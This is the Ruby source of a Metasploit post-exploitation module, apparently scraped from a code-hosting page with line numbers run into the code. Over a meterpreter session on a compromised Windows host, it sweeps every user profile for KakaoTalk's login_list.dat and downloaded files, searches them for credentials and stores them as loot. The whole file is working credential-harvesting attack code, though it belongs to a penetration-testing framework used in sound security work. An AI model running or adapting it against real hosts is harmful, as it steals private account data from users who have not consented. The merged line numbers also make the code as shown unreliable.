Path: blob/master/modules/post/windows/gather/credentials/kakaotalk.rb
21552 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Packrat10ARTIFACTS =11{12application: 'Kakao',13app_category: 'chats',14gatherable_artifacts: [15{16filetypes: 'logins',17path: 'LocalAppData',18dir: 'Kakao',19artifact_file_name: 'login_list.dat',20description: 'The email address used for login',21credential_type: 'text',22regex_search: [23{24extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',25extraction_type: 'credentials',26regex: [27'(?i-mx:login_list.*)'28]29}30]31},32{33filetypes: 'files',34path: 'MyDocs',35dir: 'KakaoTalk Downloads',36artifact_file_name: '*',37description: 'Fiels that were downloaded to the host machine'38}39]40}.freeze4142def initialize(info = {})43super(44update_info(45info,46'Name' => 'KakaoTalk Credential Gatherer',47'Description' => %q{48This module searches for KakaoTalk credentials on a Windows host. KakaoTalk is a popular mobile messaging app most widely used in South Korea.49},50'License' => MSF_LICENSE,51'Author' => [52'Kazuyoshi Maruta',53'Daniel Hallsworth',54'Barwar Salim M',55'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org56],57'Platform' => ['win'],58'SessionTypes' => ['meterpreter'],59'Notes' => {60'Stability' => [CRASH_SAFE],61'Reliability' => [],62'SideEffects' => []63}64)65)6667register_options(68[69OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),70OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),71OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),72# enumerates the options based on the artifacts that are defined below73OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])74]75)76end7778def run79print_status('Filtering based on these selections: ')80print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")81print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")82print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8384# used to grab files for each user on the remote host85grab_user_profiles.each do |userprofile|86run_packrat(userprofile, ARTIFACTS)87end8889print_status 'PackRat credential sweep completed'90end91end929394